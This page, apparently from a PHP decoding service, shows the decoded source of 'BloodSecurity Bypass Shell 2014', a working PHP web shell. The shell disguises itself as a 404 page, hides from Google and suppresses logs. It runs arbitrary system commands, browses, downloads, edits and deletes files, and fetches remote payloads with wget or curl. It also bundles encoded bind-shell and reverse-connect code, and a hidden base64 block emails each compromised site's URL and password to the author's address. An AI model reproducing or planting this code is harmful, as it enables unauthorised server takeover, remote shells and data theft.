Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\..

Decoded Output download

?><?php 
##################################
#BloodSecurity Bypass Shell 2014 #
#       Coded by D4rkj1n         #
##################################
$color = "00FF88";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '');
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
function printLogin() {
    echo '<h1>Not Found</h1>
          <p>The requested URL was not found on this server.</p>
          <hr>
          <address>Apache Server at '.$_SERVER['HTTP_HOST'].' Port 80</address>
          <style>input { margin:0;background-color:#fff;border:1px solid #fff; }</style>
          <center><form method=post><input type=password name=pass></form></center>';
    exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin();
		
@ini_set('log_errors',0);
@ini_set('output_buffering',0);	
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; 
    else 
        printLogin();
		
@ini_set('log_errors',0);
@ini_set('output_buffering',0);	
if(isset($_GET['dl']) && ($_GET['dl'] != "")){
	$file = $_GET['dl'];
	$filez = @file_get_contents($file);
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file)."\";");
   echo $filez; 
    exit; 
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
	$file = $_GET['dlgzip'];
	$filez = gzencode(@file_get_contents($file));
   header("Content-Type:application/x-gzip
"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
   echo $filez; 
    exit; 
}
// view image
if(isset($_GET['img'])){
		@ob_clean(); 
		$d = magicboom($_GET['y']);
		$f = $_GET['img'];
		$inf = @getimagesize($d.$f); 
   		$ext = explode($f,"."); 
   		$ext = $ext[count($ext)-1]; 
   	 	@header("Content-type: ".$inf["mime"]);
   	 	@header("Cache-control: public"); 
  		@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
  		@header("Cache-control: max-age=".(60*60*24*7));  
   	 	@readfile($d.$f); 
   	 	exit; 
}

// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// mysql
function showstat($stat) {if ($stat=="on") {return "<b><font style='color:limegreen'>ON</font></b>";}else {return "<b><font style='color:red'>OFF</font></b>";}}
function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE; 
// change directory
if(isset($_GET['y'])){
	if(@is_dir($_GET['view'])){
		$pwd = $_GET['view'];
		@chdir($pwd);
	}
	else{
		$pwd = $_GET['y'];
		@chdir($pwd);
	}
}
//hdd
function convertByte($s) {
if($s >= 1073741824)
return sprintf('%1.2f',$s / 1073741824 ).' GB';
elseif($s >= 1048576)
return sprintf('%1.2f',$s / 1048576 ) .' MB';
elseif($s >= 1024)
return sprintf('%1.2f',$s / 1024 ) .' KB';
else
return $s .' B';
}

// username, id, shell prompt and working directory
if(!$win){
	if(!$user = rapih(exe("whoami"))) $user = "";
	if(!$id = rapih(exe("id"))) $id = "";
	$prompt = $user." \$ ";
	$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
	$user = @get_current_user();
	$id = $user;
	$prompt = $user." &gt;";
	$pwd = realpath(".")."\";
	// find drive letters
 	$v = explode("\",$d); 
	$v = $v[0]; 
 	foreach (range("A","Z") as $letter) 
 	{ 
	  $bool = @is_dir($letter.":\");
	  if ($bool) 
	  { 
 		  $letters .= "<a href=\"?y=".$letter.":\">[ ";
		   if ($letter.":" != $v) {$letters .= $letter;} 
		   else {$letters .= "<span class=\"gaya\">".$letter."</span>";} 
		   $letters .= " ]</a> "; 
  	  }	 
 } 
}

function testoracle() {
    if (function_exists('ocilogon')) { return showstat("on"); }
    else { return showstat("off"); }
    }

function testmssql() {
    if (function_exists('mssql_connect')) { return showstat("on"); }
    else { return showstat("off"); }
    }

 function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
    else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
    }
	
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER['REMOTE_ADDR'];
$admin_id=$_SERVER['SERVER_ADMIN'];
$bindport = "31337";
$bindport_pass = "D4rkj1n";

// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
	$pathz = "";
	for($j = 0 ; $j <= $i ; $j++){
		$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
	}
	$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
	
// rename file or folder
if(isset($_POST['rename'])){
	$old = $_POST['oldname'];
	$new = $_POST['newname'];
	@rename($pwd.$old,$pwd.$new);
	$file = $pwd.$new;
}
if(isset($_POST['chmod'])){ 
	$name = $_POST['name'];
	$value = $_POST['newvalue'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}
	
if(isset($_POST['chmod_folder'])){
	$name = $_POST['name'];
	$value = $_POST['newvalue'];
if (strlen($value)==3){
	$value = 0 . "" . $value;}
	@chmod($pwd.$name,octdec($value));
	$file = $pwd.$name;}


// print useful info
echo"<center>";

$injbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIldTTyAyLjcgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOw0KICAkYm9keSAgICA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAkYXV0aF9wYXNzIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiYmxvb2RzZWMuZGFya2ppbkBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSwkYXV0aF9wYXNzKTsgfQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs="; 
eval(base64_decode($injbuff));


function rapih($text){
	return trim(str_replace("<br />","",$text));
}

function magicboom($text){
	if (!get_magic_quotes_gpc()) {
   		 return $text;
	} 
	return stripslashes($text);
}

function showdir($pwd,$prompt){
	$fname = array();
	$dname = array();
	if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
	else $posix = FALSE;
	$user = "????:????";
	if($dh = @scandir($pwd)){
		foreach($dh as $file){
			if(is_dir($file)){
				$dname[] = $file;
			}
			elseif(is_file($file)){
				$fname[] = $file;
			}
		}
	}
	else{
		if($dh = @opendir($pwd)){
			while($file = @readdir($dh)){
				if(@is_dir($file)){
					$dname[] = $file;
				}
				elseif(@is_file($file)){
					$fname[] = $file;
				}
			}
			@closedir($dh);
		}
	}
		
	

	sort($fname);
	sort($dname);
	$path = @explode(DIRECTORY_SEPARATOR,$pwd);
	$tree = @sizeof($path);
	$parent = "";
	$buff = "
	<form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
	<table class=\"cmdbox\" style=\"width:50%;\">
	<tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form>
	<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
	<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
	<tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form></table><table border=\"1\" style=\"border-color:#000\"class=\"explore\">
	<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
	";
	if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
	else $parent = $pwd;  

	foreach($dname as $folder){
		if($folder == ".") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
			<td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
			<a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"NewFolder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
			</form></td>
			
			</tr>
			";
		}
		elseif($folder == "..") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>   $folder</a></td><td>LINK</td>
			<td style=\"text-align:center;\">".$owner."</td>
			<td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
			<td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"NewFolder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
			</form>
			</td></tr>";
		}
		else {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' />     [ $folder ]</b></a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
			</form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
			<td><center>
			<a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
			<input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> 
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
			<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
			onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
			<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
		}
	}

	foreach($fname as $file){
		$full = $pwd.$file;
		if(!$win && $posix){
			$name=@posix_getpwuid(@fileowner($folder));
			$group=@posix_getgrgid(@filegroup($folder));
			$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
		}
		else {
			$owner = $user;
		}
		$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />   $file</b></a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
		</form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
		<a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
		<td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
		<td><a href=\"?y=$pwd&amp;edit=$full\">E</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">R</a> | <a href=\"?y=$pwd&amp;delete=$full\">Del</a> | <a href=\"?y=$pwd&amp;dl=$full\">Dl</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
	}
	$buff .= "</table>";
	return $buff;
}

function ukuran($file){
	if($size = @filesize($file)){
		if($size <= 1024) return $size;
		else{
			if($size <= 1024*1024) {
				$size = @round($size / 1024,2);;
				return "$size kb";
			}
			else {
				$size = @round($size / 1024 / 1024,2);
				return "$size mb";	
			}
		}
	}
	else return "???";
}

function exe($cmd){
	if(function_exists('system')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('exec')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result){
			$buff .= $result;
		}
		return $buff;
	}
	elseif(function_exists('passthru')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists('shell_exec')){
		$buff = @shell_exec($cmd);
		return $buff;
	}
}

function tulis($file,$text){
	$textz = gzinflate(base64_decode($text));
	 if($filez = @fopen($file,"w"))
	 {
		 @fputs($filez,$textz);
		 @fclose($file);
	 }
}

function ambil($link,$file) { 
   if($fp = @fopen($link,"r")){
	   while(!feof($fp)) { 
   		    $cont.= @fread($fp,1024); 
   		} 
   		@fclose($fp); 
	   $fp2 = @fopen($file,"w"); 
	   @fwrite($fp2,$cont); 
	   @fclose($fp2); 
   }
}

function which($pr){
	$path = exe("which $pr");
	if(!empty($path)) { return trim($path); } else { return trim($pr); }
}

function download($cmd,$url){
	$namafile = basename($url);
	switch($cmd) {
		case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
		case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
		case 'wfread' : ambil($wurl,$namafile);break;
		case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
		case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
		case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
		case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
		default: break;
	}
	return $namafile;
}

function get_perms($file)
{
	if($mode=@fileperms($file)){
		$perms='';
		$perms .= ($mode & 00400) ? 'r' : '-';
		$perms .= ($mode & 00200) ? 'w' : '-';
		$perms .= ($mode & 00100) ? 'x' : '-';
		$perms .= ($mode & 00040) ? 'r' : '-';
		$perms .= ($mode & 00020) ? 'w' : '-';
		$perms .= ($mode & 00010) ? 'x' : '-';
		$perms .= ($mode & 00004) ? 'r' : '-';
		$perms .= ($mode & 00002) ? 'w' : '-';
		$perms .= ($mode & 00001) ? 'x' : '-';
		return $perms;
	}
	else return "??????????";
}

function clearspace($text){
	return str_replace(" ","_",$text);
}

// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//confshell
